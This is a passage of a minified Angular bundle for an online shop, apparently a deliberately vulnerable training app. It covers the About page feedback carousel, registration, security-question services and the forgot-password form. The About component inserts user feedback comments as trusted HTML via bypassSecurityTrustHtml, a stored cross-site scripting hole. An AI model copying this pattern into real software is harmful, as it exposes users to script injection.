e=t.oxw();t.xp6(4),t.Q6J("ngIf",e.twitterUrl),t.xp6(1),t.Q6J("ngIf",e.facebookUrl),t.xp6(1),t.Q6J("ngIf",e.slackUrl),t.xp6(1),t.Q6J("ngIf",e.redditUrl),t.xp6(1),t.Q6J("ngIf",e.pressKitUrl),t.xp6(1),t.Q6J("ngIf",e.nftUrl)}}O.vI.add(Z.neY,Z.mdU,Z.SrY,Z.HK3,D.Xg,D.T,g.Tab,g.q2v);let Kn=(()=>{class n{constructor(e,o,i){this.configurationService=e,this.feedbackService=o,this.sanitizer=i,this.slideshowDataSource=[],this.images=["assets/public/images/carousel/1.jpg","assets/public/images/carousel/2.jpg","assets/public/images/carousel/3.jpg","assets/public/images/carousel/4.jpg","assets/public/images/carousel/5.png","assets/public/images/carousel/6.jpg","assets/public/images/carousel/7.jpg"],this.stars=[null,\'<i class="fas fa-star"></i><i class="far fa-star"></i><i class="far fa-star"></i><i class="far fa-star"></i><i class="far fa-star"></i>\',\'<i class="fas fa-star"></i><i class="fas fa-star"></i><i class="far fa-star"></i><i class="far fa-star"></i><i class="far fa-star"></i>\',\'<i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="far fa-star"></i><i class="far fa-star"></i>\',\'<i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="far fa-star"></i>\',\'<i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>\']}ngOnInit(){this.populateSlideshowFromFeedbacks(),this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.application?.social&&(e.application.social.twitterUrl&&(this.twitterUrl=e.application.social.twitterUrl),e.application.social.facebookUrl&&(this.facebookUrl=e.application.social.facebookUrl),e.application.social.slackUrl&&(this.slackUrl=e.application.social.slackUrl),e.application.social.redditUrl&&(this.redditUrl=e.application.social.redditUrl),e.application.social.pressKitUrl&&(this.pressKitUrl=e.application.social.pressKitUrl),e.application.social.nftUrl&&(this.nftUrl=e.application.social.nftUrl))},e=>{console.log(e)})}populateSlideshowFromFeedbacks(){this.feedbackService.find().subscribe(e=>{for(let o=0;o<e.length;o++)e[o].comment=`<span style="width: 90%; display:block;">${e[o].comment}<br/> (${this.stars[e[o].rating]})</span>`,e[o].comment=this.sanitizer.bypassSecurityTrustHtml(e[o].comment),this.slideshowDataSource.push({url:this.images[o%this.images.length],caption:e[o].comment})},e=>{console.log(e)})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(b.e),t.Y36(Lt),t.Y36(k.H7))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-about"]],decls:17,vars:7,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],[1,"about-us"],["translate",""],[1,"text-justify"],["href","ftp/legal.md","aria-label","Link to the Terms of Use","translate",""],[3,"height","autoPlay","arrowSize","showArrows","showDots","imageUrls"],["class","social",4,"ngIf"],[1,"social"],["target","_blank","rel","noopener noreferrer","style","margin-left: 0px;","aria-label","Button for the Twitter page of the shop",3,"href",4,"ngIf"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Facebook page of the shop",3,"href",4,"ngIf"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Slack page of the shop",3,"href",4,"ngIf"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Reddit page of the shop",3,"href",4,"ngIf"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the PressKit page of the shop",3,"href",4,"ngIf"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the NFT of the shop",3,"href",4,"ngIf"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Twitter page of the shop",2,"margin-left","0px",3,"href"],["mat-raised-button","","color","accent"],[1,"fab","fa-twitter","fa-lg"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Facebook page of the shop",3,"href"],[1,"fab","fa-facebook","fa-lg"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Slack page of the shop",3,"href"],[1,"fab","fa-slack","fa-lg"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Reddit page of the shop",3,"href"],[1,"fab","fa-reddit","fa-lg"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the PressKit page of the shop",3,"href"],[1,"far","fa-newspaper","fa-lg"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the NFT of the shop",3,"href"],[1,"fas","fa-palette","fa-lg"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"section",2)(3,"h1",3),t._uU(4,"TITLE_ABOUT"),t.qZA(),t.TgZ(5,"h3",3),t._uU(6,"SECTION_CORPORATE_HISTORY"),t.qZA(),t.TgZ(7,"p",4),t._uU(8," Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. "),t.TgZ(9,"a",5),t._uU(10,"LINK_TERMS_OF_USE"),t.qZA(),t._uU(11," At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, At accusam aliquyam diam diam dolore dolores duo eirmod eos erat, et nonumy sed tempor et et invidunt justo labore Stet clita ea et gubergren, kasd magna no rebum. "),t.qZA(),t.TgZ(12,"h3")(13,"span",3),t._uU(14,"SECTION_CUSTOMER_FEEDBACK"),t.qZA()(),t._UZ(15,"slideshow",6),t.YNc(16,jn,10,6,"div",7),t.qZA()()()),2&e&&(t.xp6(15),t.Q6J("height","300px")("autoPlay",!0)("arrowSize","10px")("showArrows",!0)("showDots",!1)("imageUrls",o.slideshowDataSource),t.xp6(1),t.Q6J("ngIf",o.twitterUrl||o.facebookUrl))},dependencies:[h.O5,u.Pi,p.Wh,xe.w5,x.lW,T.a8],styles:["mat-card[_ngcontent-%COMP%]{display:block;margin-bottom:30px;margin-left:auto;margin-right:auto;width:80%}.about-us[_ngcontent-%COMP%]{margin-left:8.33333%;margin-right:8.33333%;width:83.3333%}.social[_ngcontent-%COMP%]{margin-top:20px}button[_ngcontent-%COMP%]{margin:5px}.text-justify[_ngcontent-%COMP%]{text-align:justify;text-justify:inter-word}"]}),n})(),be=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/SecurityAnswers"}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),Ht=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/SecurityQuestions"}find(e){return this.http.get(this.host+"/",{params:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}findBy(e){return this.http.get(this.hostServer+"/rest/user/security-question?email="+e).pipe((0,C.U)(o=>o.question),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var ut=c(7009),Ct=c(9187),vt=c(4385),Gt=c(3238),jt=c(455);function Wn(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_EMAIL"),t.qZA())}function zn(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"INVALID_EMAIL"),t.qZA())}function $n(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_PASSWORD "),t.qZA())}const Te=function(){return{length:"5-40"}};function Vn(n,a){1&n&&(t.TgZ(0,"mat-error",30),t._uU(1,"INVALID_PASSWORD_LENGTH "),t.qZA()),2&n&&t.Q6J("translateParams",t.DdM(1,Te))}function Xn(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_PASSWORD_REPEAT "),t.qZA())}function to(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," PASSWORDS_NOT_MATCHING "),t.qZA())}const eo=function(){return{value:8}};function no(n,a){if(1&n&&(t._UZ(0,"mat-password-strength-info",31),t.ALo(1,"translate"),t.ALo(2,"translate"),t.ALo(3,"translate"),t.ALo(4,"translate"),t.ALo(5,"translate")),2&n){t.oxw();const e=t.MAs(41);t.Q6J("passwordComponent",e)("lowerCaseCriteriaMsg",t.lcZ(1,6,"LOWER_CASE_CRITERIA_MSG"))("upperCaseCriteriaMsg",t.lcZ(2,8,"UPPER_CASE_CRITERIA_MSG"))("digitsCriteriaMsg",t.lcZ(3,10,"DIGITS_CRITERIA_MSG"))("specialCharsCriteriaMsg",t.lcZ(4,12,"SPECIAL_CHARS_CRITERIA_MSG"))("minCharsCriteriaMsg",t.xi3(5,14,"MIN_CHARS_CRITERIA_MSG",t.DdM(17,eo)))}}function oo(n,a){if(1&n&&(t.TgZ(0,"mat-option",32),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.Q6J("value",e.id),t.xp6(1),t.hij(" ",e.question," ")}}function ao(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_SECURITY_QUESTION "),t.qZA())}function io(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_SECURITY_ANSWER "),t.qZA())}O.vI.add(g.FKd,g.RLE);let ro=(()=>{class n{constructor(e,o,i,r,l,m,v,A,q){this.securityQuestionService=e,this.userService=o,this.securityAnswerService=i,this.router=r,this.formSubmitService=l,this.translateService=m,this.snackBar=v,this.snackBarHelperService=A,this.ngZone=q,this.emailControl=new s.p4("",[s.kI.required,s.kI.email]),this.passwordControl=new s.p4("",[s.kI.required,s.kI.minLength(5),s.kI.maxLength(40)]),this.repeatPasswordControl=new s.p4("",[s.kI.required,so(this.passwordControl)]),this.securityQuestionControl=new s.p4("",[s.kI.required]),this.securityAnswerControl=new s.p4("",[s.kI.required]),this.error=null}ngOnInit(){this.securityQuestionService.find(null).subscribe(e=>{this.securityQuestions=e},e=>{console.log(e)}),this.formSubmitService.attachEnterKeyHandler("registration-form","registerButton",()=>{this.save()})}save(){var e=this;const o={email:this.emailControl.value,password:this.passwordControl.value,passwordRepeat:this.repeatPasswordControl.value,securityQuestion:this.securityQuestions.find(i=>i.id===this.securityQuestionControl.value),securityAnswer:this.securityAnswerControl.value};this.userService.save(o).subscribe(i=>{this.securityAnswerService.save({UserId:i.id,answer:this.securityAnswerControl.value,SecurityQuestionId:this.securityQuestionControl.value}).subscribe(()=>{this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/login"])})),this.snackBarHelperService.open("CONFIRM_REGISTER")})},i=>{if(console.log(i),i.error?.errors){const r=i.error.errors[0];this.error=r.message?r.message[0].toUpperCase()+r.message.slice(1):r}})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(Ht),t.Y36(R),t.Y36(be),t.Y36(U.F0),t.Y36(rt),t.Y36(u.sK),t.Y36(ut.ux),t.Y36(J.H),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-register"]],decls:69,vars:39,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["translate",""],["ng-if","error",1,"error"],["id","registration-form",1,"form-container"],["appearance","outline","color","accent"],["id","emailControl","type","text","matInput","","aria-label","Email address field",3,"formControl","focus"],["translate","",4,"ngIf"],["id","passwordControl","type","password","matInput","","aria-label","Field for the password",3,"formControl","focus"],["password",""],[1,"fas","fa-exclamation-circle"],["translate","",2,"margin-left","5px"],["align","end"],["translate","",3,"translateParams",4,"ngIf"],["id","repeatPasswordControl","type","password","matInput","","aria-label","Field to confirm the password",3,"formControl","focus"],["repeatPassword",""],[3,"color"],["passwordInfoToggle",""],[3,"password"],["passwordStrength",""],[3,"passwordComponent","lowerCaseCriteriaMsg","upperCaseCriteriaMsg","digitsCriteriaMsg","specialCharsCriteriaMsg","minCharsCriteriaMsg",4,"ngIf"],[1,"security-container"],["color","accent","appearance","outline"],["placeholder","","name","securityQuestion","aria-label","Selection list for the security question",3,"formControl","value","valueChange","focus"],[3,"value",4,"ngFor","ngForOf"],["id","securityAnswerControl","type","text","matInput","","aria-label","Field for the answer to the security question",3,"formControl","placeholder","focus"],["type","submit","id","registerButton","mat-raised-button","","color","primary","aria-label","Button to complete the registration",3,"disabled","click"],[1,"material-icons"],["id","alreadyACustomerLink"],["routerLink","/login","translate","",1,"primary-link"],["translate","",3,"translateParams"],[3,"passwordComponent","lowerCaseCriteriaMsg","upperCaseCriteriaMsg","digitsCriteriaMsg","specialCharsCriteriaMsg","minCharsCriteriaMsg"],[3,"value"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"TITLE_REGISTRATION"),t.qZA(),t.TgZ(4,"div",3),t._uU(5),t.qZA(),t.TgZ(6,"div",4)(7,"mat-form-field",5)(8,"mat-label",2),t._uU(9,"LABEL_EMAIL"),t.qZA(),t.TgZ(10,"input",6),t.NdJ("focus",function(){return o.error=null}),t.qZA(),t.YNc(11,Wn,2,0,"mat-error",7),t.YNc(12,zn,2,0,"mat-error",7),t.qZA(),t.TgZ(13,"mat-form-field",5)(14,"mat-label",2),t._uU(15,"LABEL_PASSWORD"),t.qZA(),t.TgZ(16,"input",8,9),t.NdJ("focus",function(){return o.error=null}),t.qZA(),t.TgZ(18,"mat-hint",2),t._UZ(19,"i",10),t.TgZ(20,"em",11),t._uU(21),t.ALo(22,"translate"),t.qZA()(),t.TgZ(23,"mat-hint",12),t._uU(24),t.qZA(),t.YNc(25,$n,2,0,"mat-error",7),t.YNc(26,Vn,2,2,"mat-error",13),t.qZA(),t.TgZ(27,"mat-form-field",5)(28,"mat-label",2),t._uU(29,"LABEL_PASSWORD_REPEAT"),t.qZA(),t.TgZ(30,"input",14,15),t.NdJ("focus",function(){return o.error=null}),t.qZA(),t.TgZ(32,"mat-hint",12),t._uU(33),t.qZA(),t.YNc(34,Xn,2,0,"mat-error",7),t.YNc(35,to,2,0,"mat-error",7),t.qZA(),t.TgZ(36,"mat-slide-toggle",16,17),t._uU(38),t.ALo(39,"translate"),t.qZA(),t._UZ(40,"mat-password-strength",18,19),t.YNc(42,no,6,18,"mat-password-strength-info",20),t.TgZ(43,"div",21)(44,"mat-form-field",22)(45,"mat-label"),t._uU(46),t.ALo(47,"translate"),t.qZA(),t.TgZ(48,"mat-select",23),t.NdJ("valueChange",function(r){return o.selected=r})("focus",function(){return o.error=null}),t.YNc(49,oo,2,2,"mat-option",24),t.qZA(),t.TgZ(50,"mat-hint",2),t._UZ(51,"i",10),t.TgZ(52,"em",11),t._uU(53,"CANNOT_BE_CHANGED_LATER"),t.qZA()(),t.YNc(54,ao,2,0,"mat-error",7),t.qZA(),t.TgZ(55,"mat-form-field",5)(56,"mat-label",2),t._uU(57,"SECURITY_ANSWER"),t.qZA(),t.TgZ(58,"input",25),t.NdJ("focus",function(){return o.error=null}),t.ALo(59,"translate"),t.qZA(),t.YNc(60,io,2,0,"mat-error",7),t.qZA()(),t.TgZ(61,"button",26),t.NdJ("click",function(){return o.save()}),t.TgZ(62,"i",27),t._uU(63," person_add "),t.qZA(),t._uU(64),t.ALo(65,"translate"),t.qZA(),t.TgZ(66,"div",28)(67,"a",29),t._uU(68,"ALREADY_A_CUSTOMER"),t.qZA()()()()()),2&e){const i=t.MAs(17),r=t.MAs(31),l=t.MAs(37),m=t.MAs(41);t.xp6(5),t.Oqu(o.error),t.xp6(5),t.Q6J("formControl",o.emailControl),t.xp6(1),t.Q6J("ngIf",o.emailControl.invalid&&o.emailControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.emailControl.invalid&&o.emailControl.errors.email),t.xp6(4),t.Q6J("formControl",o.passwordControl),t.xp6(5),t.Oqu(t.xi3(22,27,"INVALID_PASSWORD_LENGTH",t.DdM(38,Te))),t.xp6(3),t.hij("",(null==i.value?null:i.value.length)||0,"/20"),t.xp6(1),t.Q6J("ngIf",o.passwordControl.invalid&&o.passwordControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.passwordControl.invalid&&(o.passwordControl.errors.minlength||o.passwordControl.errors.maxlength)),t.xp6(4),t.Q6J("formControl",o.repeatPasswordControl),t.xp6(3),t.hij("",(null==r.value?null:r.value.length)||0,"/40"),t.xp6(1),t.Q6J("ngIf",o.repeatPasswordControl.invalid&&o.repeatPasswordControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.repeatPasswordControl.invalid&&o.repeatPasswordControl.errors.notSame),t.xp6(1),t.Q6J("color",m.color),t.xp6(2),t.Oqu(t.lcZ(39,30,"SHOW_PASSWORD_ADVICE")),t.xp6(2),t.Q6J("password",i.value),t.xp6(2),t.Q6J("ngIf",l.checked),t.xp6(4),t.hij(" ",t.lcZ(47,32,"LABEL_SECURITY_QUESTION")," "),t.xp6(2),t.Q6J("formControl",o.securityQuestionControl)("value",o.selected),t.xp6(1),t.Q6J("ngForOf",o.securityQuestions),t.xp6(5),t.Q6J("ngIf",o.securityQuestionControl.invalid&&o.securityQuestionControl.errors.required),t.xp6(4),t.Q6J("formControl",o.securityAnswerControl)("placeholder",t.lcZ(59,34,"SECURITY_ANSWER_PLACEHOLDER")),t.xp6(2),t.Q6J("ngIf",o.securityAnswerControl.invalid&&o.securityAnswerControl.errors.required),t.xp6(1),t.Q6J("disabled",o.emailControl.invalid||o.passwordControl.invalid||o.repeatPasswordControl.invalid||o.securityQuestionControl.invalid||o.securityAnswerControl.invalid),t.xp6(3),t.hij(" ",t.lcZ(65,36,"BTN_REGISTER")," ")}},dependencies:[h.sg,h.O5,U.rH,u.Pi,Ct.ne,Ct.Xy,p.Wh,s.Fj,s.JJ,s.oH,f.TO,f.KE,f.bx,f.hX,vt.gD,Gt.ey,x.lW,T.a8,B.Nt,jt.Rr,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:25%}mat-form-field[_ngcontent-%COMP%]{padding-top:10px}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}#registerButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}#alreadyACustomerLink[_ngcontent-%COMP%]{align-self:center;font-size:12px;margin-top:40px}.security-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative} mat-option .mat-option-text{font-size:14px}"]}),n})();function so(n){return function(e){return n.value!==e.value?{notSame:!0}:null}}var F=c(7392),Q=c(266);function lo(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_EMAIL"),t.qZA())}function co(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"INVALID_EMAIL"),t.qZA())}function uo(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_SECURITY_ANSWER "),t.qZA())}function po(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_NEW_PASSWORD "),t.qZA())}function mo(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_PASSWORD_REPEAT "),t.qZA())}function go(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," PASSWORDS_NOT_MATCHING "),t.qZA())}const Ae=function(){return{length:"5-40"}};function ho(n,a){1&n&&(t.TgZ(0,"mat-error",28),t._uU(1,"INVALID_PASSWORD_LENGTH "),t.qZA()),2&n&&t.Q6J("translateParams",t.DdM(1,Ae))}const _o=function(){return{value:8}};function fo(n,a){if(1&n&&(t._UZ(0,"mat-password-strength-info",29),t.ALo(1,"translate"),t.ALo(2,"translate"),t.ALo(3,"translate"),t.ALo(4,"translate"),t.ALo(5,"translate")),2&n){t.oxw();const e=t.MAs(55);t.Q6J("passwordComponent",e)("lowerCaseCriteriaMsg",t.lcZ(1,6,"LOWER_CASE_CRITERIA_MSG"))("upperCaseCriteriaMsg",t.lcZ(2,8,"UPPER_CASE_CRITERIA_MSG"))("digitsCriteriaMsg",t.lcZ(3,10,"DIGITS_CRITERIA_MSG"))("specialCharsCriteriaMsg",t.lcZ(4,12,"SPECIAL_CHARS_CRITERIA_MSG"))("minCharsCriteriaMsg",t.xi3(5,14,"MIN_CHARS_CRITERIA_MSG",t.DdM(17,_o)))}}O.vI.add(g.r6l,D.Xc);let Co=(()=>{class n{constructor(e,o,i){this.securityQuestionService=e,this.userService=o,this.translate=i,this.emailControl=new s.p4("",[s.kI.required,s.kI.email]),this.securityQuestionControl=new s.p4({disabled:!0,value:""},[s.kI.required]),this.passwordControl=new s.p4({disabled:!0,value:""},[s.kI.required,s.kI.minLength(5)]),this.repeatPasswordControl=new s.p4({disabled:!0,value:""},[s.kI.required,vo(this.passwordControl)]),this.timeoutDuration=1e3}findSecurityQuestion(){clearTimeout(this.timeout),this.timeout=setTimeout(()=>{this.securityQuestion=void 0,this.emailControl.value?this.securityQuestionService.findBy(this.emailControl.value).subscribe(e=>{e?(this.securityQuestion=e.question,this.securityQuestionControl.enable(),this.passwordControl.enable(),this.repeatPasswordControl.enable()):(this.securityQuestionControl.disable(),this.passwordControl.disable(),this.repeatPasswordControl.disable())},e=>e):(this.securityQuestionControl.disable(),this.passwordControl.disable(),this.repeatPasswordControl.disable())},this.timeoutDuration)}resetPassword(){this.userService.resetPassword({email:this.emailControl.value,answer:this.securityQuestionControl.value,new:this.passwordControl.value,repeat:this.repeatPasswordControl.value}).subscribe(()=>{this.error=void 0,this.translate.get("PASSWORD_SUCCESSFULLY_CHANGED").subscribe(e=>{this.confirmation=e},e=>{this.confirmation=e}),this.resetForm()},e=>{this.error=e.error,this.confirmation=void 0,this.resetErrorForm()})}resetForm(){this.emailControl.setValue(""),this.emailControl.markAsPristine(),this.emailControl.markAsUntouched(),this.securityQuestionControl.setValue(""),this.securityQuestionControl.markAsPristine(),this.securityQuestionControl.markAsUntouched(),this.passwordControl.setValue(""),this.passwordControl.markAsPristine(),this.passwordControl.markAsUntouched(),this.repeatPasswordControl.setValue(""),this.repeatPasswordControl.markAsPristine(),this.repeatPasswordControl.markAsUntouched()}resetErrorForm(){this.emailControl.markAsPristine(),this.emailControl.markAsUntouched(),this.securityQuestionControl.setValue(""),this.securityQuestionControl.markAsPristine(),this.securityQuestionControl.markAsUntouched(),this.passwordControl.setValue(""),this.passwordControl.markAsPristine(),this.passwordControl.markAsUntouched(),this.repeatPasswordControl.setValue(""),this.repeatPasswordControl.markAsPristine(),this.repeatPasswordControl.markAsUntouched()}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(Ht),t.Y36(R),t.Y36(u.sK))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-forgot-password"]],decls:61,vars:39,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["translate",""],[1,"confirmation",3,"hidden"],[1,"error",3,"hidden"],[1,"form-container"],["appearance","outline","color","accent"],["id","email","type","email","matInput","","placeholder","Enter your email","aria-label","Email address field",3,"formControl","ngModelChange"],["matSuffix","","matTooltipPosition","right","aria-label","Please enter your email address to proceed",3,"matTooltip"],["translate","",4,"ngIf"],["id","forgot-form",1,"form-container"],["id","securityAnswer","type","password","matInput","","aria-label","Field for the answer to the security question",3,"formControl","placeholder"],["matSuffix","","matTooltipPosition","right","aria-label","Please answer your selected security question",3,"matTooltip"],["id","newPassword","type","password","matInput","","placeholder","","aria-label","Field for New Password",3,"formControl"],["password",""],[1,"fas","fa-exclamation-circle"],["translate","",2,"margin-left","5px"],["align","end"],["id","newPasswordRepeat","type","password","matInput","","placeholder","","aria-label","Field to confirm the new password",3,"formControl"],["repeatPassword",""],["translate","",3,"translateParams",4,"ngIf"],[3,"color"],["passwordInfoToggle",""],[3,"password"],["passwordStrength",""],[3,"passwordComponent","lowerCaseCriteriaMsg","upperCaseCriteriaMsg","digitsCriteriaMsg","specialCharsCriteriaMsg","minCharsCriteriaMsg",4,"ngIf"],["type","submit","id","resetButton","mat-raised-button","","color","primary","aria-label","Button to confirm the changes",3,"disabled","click"],["aria-hidden","true",1,"far","fa-edit","fa-lg"],["translate","",3,"translateParams"],[3,"passwordComponent","lowerCaseCriteriaMsg","upperCaseCriteriaMsg","digitsCriteriaMsg","specialCharsCriteriaMsg","minCharsCriteriaMsg"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"TITLE_FORGOT_PASSWORD"),t.qZA(),t.TgZ(4,"div",3),t._uU(5),t.qZA(),t.TgZ(6,"div",4),t._uU(7),t.qZA(),t.TgZ(8,"div",5)(9,"mat-form-field",6)(10,"mat-label",2),t._uU(11,"LABEL_EMAIL"),t.qZA(),t.TgZ(12,"input",7),t.NdJ("ngModelChange",function(){return o.findSecurityQuestion()}),t.qZA(),t.TgZ(13,"mat-icon",8),t.ALo(14,"translate"),t._uU(15,"help_outline "),t.qZA(),t.YNc(16,lo,2,0,"mat-error",9),t.YNc(17,co,2,0,"mat-error",9),t.qZA()(),t.TgZ(18,"div",10)(19,"mat-form-field",6)(20,"mat-label",2),t._uU(21,"LABEL_SECURITY_QUESTION"),t.qZA(),t._UZ(22,"input",11),t.TgZ(23,"mat-icon",12),t.ALo(24,"translate"),t._uU(25,"help_outline "),t.qZA(),t.YNc(26,uo,2,0,"mat-error",9),t.qZA(),t.TgZ(27,"mat-form-field",6)(28,"mat-label",2),t._uU(29,"LABEL_NEW_PASSWORD"),t.qZA(),t._UZ(30,"input",13,14),t.TgZ(32,"mat-hint",2),t._UZ(33,"i",15),t.TgZ(34,"em",16),t._uU(35),t.ALo(36,"translate"),t.qZA()(),t.TgZ(37,"mat-hint",17),t._uU(38),t.qZA(),t.YNc(39,po,2,0,"mat-error",9),t.qZA(),t.TgZ(40,"mat-form-field",6)(41,"mat-label",2),t._uU(42,"LABEL_REPEAT_NEW_PASSWORD"),t.qZA(),t._UZ(43,"input",18,19),t.TgZ(45,"mat-hint",17),t._uU(46),t.qZA(),t.YNc(47,mo,2,0,"mat-error",9),t.YNc(48,go,2,0,"mat-error",9),t.YNc(49,ho,2,2,"mat-error",20),t.qZA(),t.TgZ(50,"mat-slide-toggle",21,22),t._uU(52),t.ALo(53,"translate"),t.qZA(),t._UZ(54,"mat-password-strength",23,24),t.YNc(56,fo,6,18,"mat-password-strength-info",25),t.qZA(),t.TgZ(57,"button",26),t.NdJ("click",function(){return o.resetPassword()}),t._UZ(58,"i",27),t._uU(59),t.ALo(60,"translate"),t.qZA()()()),2&e){const i=t.MAs(31),r=t.MAs(44),l=t.MAs(51),m=t.MAs(55);t.xp6(4),t.Q6J("hidden",!(o.confirmation&&!o.emailControl.dirty&&!o.securityQuestionControl.dirty&&!o.passwordControl.dirty&&!o.repeatPasswordControl.dirty)),t.xp6(1),t.hij(" ",o.confirmation," "),t.xp6(1),t.Q6J("hidden",!(o.error&&!o.emailControl.dirty&&!o.securityQuestionControl.dirty&&!o.passwordControl.dirty&&!o.repeatPasswordControl.dirty)),t.xp6(1),t.hij(" ",o.error," "),t.xp6(5),t.Q6J("formControl",o.emailControl),t.xp6(1),t.s9C("matTooltip",t.lcZ(14,27,"MANDATORY_EMAIL")),t.xp6(3),t.Q6J("ngIf",o.emailControl.invalid&&o.emailControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.emailControl.invalid&&o.emailControl.errors.email),t.xp6(5),t.s9C("placeholder",o.securityQuestion),t.Q6J("formControl",o.securityQuestionControl),t.xp6(1),t.s9C("matTooltip",t.lcZ(24,29,"MANDATORY_SECURITY_ANSWER")),t.xp6(3),t.Q6J("ngIf",o.securityQuestionControl.invalid&&o.securityQuestionControl.errors.required),t.xp6(4),t.Q6J("formControl",o.passwordControl),t.xp6(5),t.Oqu(t.xi3(36,31,"INVALID_PASSWORD_LENGTH",t.DdM(38,Ae))),t.xp6(3),t.hij("",(null==i.value?null:i.value.length)||0,"/20"),t.xp6(1),t.Q6J("ngIf",o.passwordControl.invalid&&o.passwordControl.errors.required),t.xp6(4),t.Q6J("formControl",o.repeatPasswordControl),t.xp6(3),t.hij("",(null==r.value?null:r.value.length)||0,"/20"),t.xp6(1),t.Q6J("ngIf",o.repeatPasswordControl.invalid&&o.repeatPasswordControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.repeatPasswordControl.invalid&&o.repeatPasswordControl.errors.notSame),t.xp6(1),t.Q6J("ngIf",o.repeatPasswordControl.invalid&&((null==o.repeatPasswordControl?null:o.repeatPasswordControl.errors.minlength)||(null==o.repeatPasswordControl?null:o.repeatPasswordControl.errors.maxlength))),t.xp